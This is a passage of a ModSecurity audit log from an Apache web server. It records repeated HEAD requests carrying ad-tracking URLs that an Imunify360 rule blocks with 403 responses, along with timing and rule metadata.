Stopwatch2: 1789273686481877 6256; combined=4484, p1=242, p2=3920, p3=65, p4=7, p5=249, sr=106, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--392ee870-Z--
--edbff864-A--
[13/Sep/2026:07:28:06.946809 +0300] aqYmVisVWymXUono-eRRTQAAAAA 151.243.174.109 34536 127.0.0.1 7081
--edbff864-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.109
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--edbff864-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--edbff864-E--
--edbff864-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273686938534 8329 (- - -)
Stopwatch2: 1789273686938534 8329; combined=6399, p1=329, p2=5309, p3=86, p4=8, p5=666, sr=138, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--edbff864-Z--
--6a24c117-A--
[13/Sep/2026:07:28:07.572602 +0300] aqYmVzTJ6xTvcJoem7f2fAAAAEY 95.134.102.199 34544 127.0.0.1 7081
--6a24c117-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.199
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--6a24c117-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--6a24c117-E--
--6a24c117-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273687566678 6016 (- - -)
Stopwatch2: 1789273687566678 6016; combined=4157, p1=297, p2=3550, p3=61, p4=6, p5=243, sr=142, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6a24c117-Z--
--77962212-A--
[13/Sep/2026:07:28:41.596322 +0300] aqYmeWM7dE9KgIIOpQhiHAAAANA 151.243.174.154 57904 127.0.0.1 7081
--77962212-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--77962212-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--77962212-E--
--77962212-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273721588890 7474 (- - -)
Stopwatch2: 1789273721588890 7474; combined=5140, p1=263, p2=4556, p3=66, p4=5, p5=250, sr=118, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--77962212-Z--
--e0da5348-A--
[13/Sep/2026:07:29:15.895587 +0300] aqYmm2M7dE9KgIIOpQhiKgAAAMo 95.134.102.78 35346 127.0.0.1 7081
--e0da5348-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.78
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--e0da5348-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--e0da5348-E--
--e0da5348-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273755890048 5646 (- - -)
Stopwatch2: 1789273755890048 5646; combined=4162, p1=213, p2=3574, p3=61, p4=7, p5=306, sr=90, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e0da5348-Z--
--bff0225b-A--
[13/Sep/2026:07:29:16.263200 +0300] aqYmnEwu1RSkptiiNIXv3gAAAJU 151.243.174.109 35362 127.0.0.1 7081
--bff0225b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.109
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--bff0225b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--bff0225b-E--
--bff0225b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273756257958 5281 (- - -)
Stopwatch2: 1789273756257958 5281; combined=3881, p1=221, p2=3355, p3=62, p4=6, p5=237, sr=93, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bff0225b-Z--
--b712a22e-A--
[13/Sep/2026:07:29:16.649133 +0300] aqYmnGM7dE9KgIIOpQhiLAAAANM 95.134.102.237 35366 127.0.0.1 7081
--b712a22e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.237
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--b712a22e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--b712a22e-E--
--b712a22e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273756643368 5828 (- - -)
Stopwatch2: 1789273756643368 5828; combined=4393, p1=327, p2=3701, p3=103, p4=8, p5=254, sr=98, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b712a22e-Z--
--f0cfa452-A--
[13/Sep/2026:07:29:18.502218 +0300] aqYmnkwu1RSkptiiNIXv4AAAAI0 95.134.102.250 35404 127.0.0.1 7081
--f0cfa452-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.250
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--f0cfa452-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--f0cfa452-E--
--f0cfa452-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273758496374 5883 (- - -)
Stopwatch2: 1789273758496374 5883; combined=4383, p1=271, p2=3800, p3=66, p4=7, p5=239, sr=99, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f0cfa452-Z--
--9c7da228-A--
[13/Sep/2026:07:29:18.612246 +0300] aqYmnkwu1RSkptiiNIXv4QAAAIw 95.134.102.235 35412 127.0.0.1 7081
--9c7da228-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.235
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--9c7da228-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--9c7da228-E--
--9c7da228-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273758606602 5703 (- - -)
Stopwatch2: 1789273758606602 5703; combined=4041, p1=239, p2=3489, p3=61, p4=13, p5=239, sr=99, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9c7da228-Z--
--b6d02b40-A--
[13/Sep/2026:07:29:18.727959 +0300] aqYmnkwu1RSkptiiNIXv4wAAAJg 95.134.102.235 35422 127.0.0.1 7081
--b6d02b40-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.235
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--b6d02b40-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--b6d02b40-E--
--b6d02b40-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273758719596 8413 (- - -)
Stopwatch2: 1789273758719596 8413; combined=5411, p1=308, p2=4667, p3=73, p4=7, p5=356, sr=160, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b6d02b40-Z--
--1027512a-A--
[13/Sep/2026:07:29:29.369345 +0300] aqYmqTTJ6xTvcJoem7f2hwAAAEE 151.243.174.229 37478 127.0.0.1 7081
--1027512a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.229
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--1027512a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--1027512a-E--
--1027512a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273769362750 6633 (- - -)
Stopwatch2: 1789273769362750 6633; combined=4951, p1=251, p2=4394, p3=63, p4=6, p5=237, sr=121, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1027512a-Z--
--aa214a10-A--
[13/Sep/2026:07:29:29.724322 +0300] aqYmqWM7dE9KgIIOpQhiMQAAAM0 95.134.102.156 37494 127.0.0.1 7081
--aa214a10-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.156
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--aa214a10-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--aa214a10-E--
--aa214a10-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273769716584 7790 (- - -)
Stopwatch2: 1789273769716584 7790; combined=5682, p1=320, p2=4963, p3=88, p4=8, p5=303, sr=140, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--aa214a10-Z--
--e3ca147d-A--
[13/Sep/2026:07:29:30.095302 +0300] aqYmqkwu1RSkptiiNIXv5AAAAIE 151.243.174.234 37510 127.0.0.1 7081
--e3ca147d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.234
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--e3ca147d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--e3ca147d-E--
--e3ca147d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273770089167 6183 (- - -)
Stopwatch2: 1789273770089167 6183; combined=4456, p1=224, p2=3881, p3=77, p4=7, p5=267, sr=95, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e3ca147d-Z--
--b106851b-A--
[13/Sep/2026:07:29:34.437939 +0300] aqYmrkwu1RSkptiiNIXv5wAAAIc 95.134.102.156 37540 127.0.0.1 7081
--b106851b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.156
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--b106851b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--b106851b-E--
--b106851b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273774430659 7328 (- - -)
Stopwatch2: 1789273774430659 7328; combined=5553, p1=319, p2=4899, p3=72, p4=6, p5=256, sr=174, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b106851b-Z--
--ee6f574e-A--
[13/Sep/2026:07:29:34.557279 +0300] aqYmrjTJ6xTvcJoem7f2iAAAAE4 95.134.102.78 37550 127.0.0.1 7081
--ee6f574e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.78
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--ee6f574e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--ee6f574e-E--
--ee6f574e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273774548908 8448 (- - -)
Stopwatch2: 1789273774548908 8448; combined=6329, p1=316, p2=5468, p3=96, p4=36, p5=413, sr=132, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ee6f574e-Z--
--e3b10861-A--
[13/Sep/2026:07:29:35.352890 +0300] aqYmr2M7dE9KgIIOpQhiMwAAAMA 95.134.102.223 37558 127.0.0.1 7081
--e3b10861-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.223
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--e3b10861-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--e3b10861-E--
--e3b10861-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273775346720 6210 (- - -)
Stopwatch2: 1789273775346720 6210; combined=4579, p1=292, p2=3848, p3=81, p4=7, p5=351, sr=124, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e3b10861-Z--
--8d4c796f-A--
[13/Sep/2026:07:29:43.683258 +0300] aqYmt0wu1RSkptiiNIXv6gAAAJM 95.134.102.223 48416 127.0.0.1 7081
--8d4c796f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.223
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--8d4c796f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--8d4c796f-E--
--8d4c796f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273783677327 5991 (- - -)
Stopwatch2: 1789273783677327 5991; combined=4407, p1=311, p2=3781, p3=64, p4=6, p5=245, sr=139, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8d4c796f-Z--
--e205470b-A--
[13/Sep/2026:07:29:43.787738 +0300] aqYmtysVWymXUono-eRRUAAAAAY 95.134.102.156 48430 127.0.0.1 7081
--e205470b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.156
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--e205470b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--e205470b-E--
--e205470b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273783781868 5911 (- - -)
Stopwatch2: 1789273783781868 5911; combined=4395, p1=231, p2=3757, p3=62, p4=7, p5=338, sr=107, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e205470b-Z--
--40b7cf66-A--
[13/Sep/2026:07:29:44.183419 +0300] aqYmuEwu1RSkptiiNIXv6wAAAII 151.243.174.165 48442 127.0.0.1 7081
--40b7cf66-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.165
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--40b7cf66-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--40b7cf66-E--
--40b7cf66-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273784174402 9064 (- - -)
Stopwatch2: 1789273784174402 9064; combined=5916, p1=820, p2=4564, p3=89, p4=7, p5=436, sr=121, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--40b7cf66-Z--
--ed68696b-A--
[13/Sep/2026:07:29:51.872655 +0300] aqYmv0wu1RSkptiiNIXv7QAAAJI 95.134.102.121 39666 127.0.0.1 7081
--ed68696b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.121
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--ed68696b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--ed68696b-E--
--ed68696b-H--
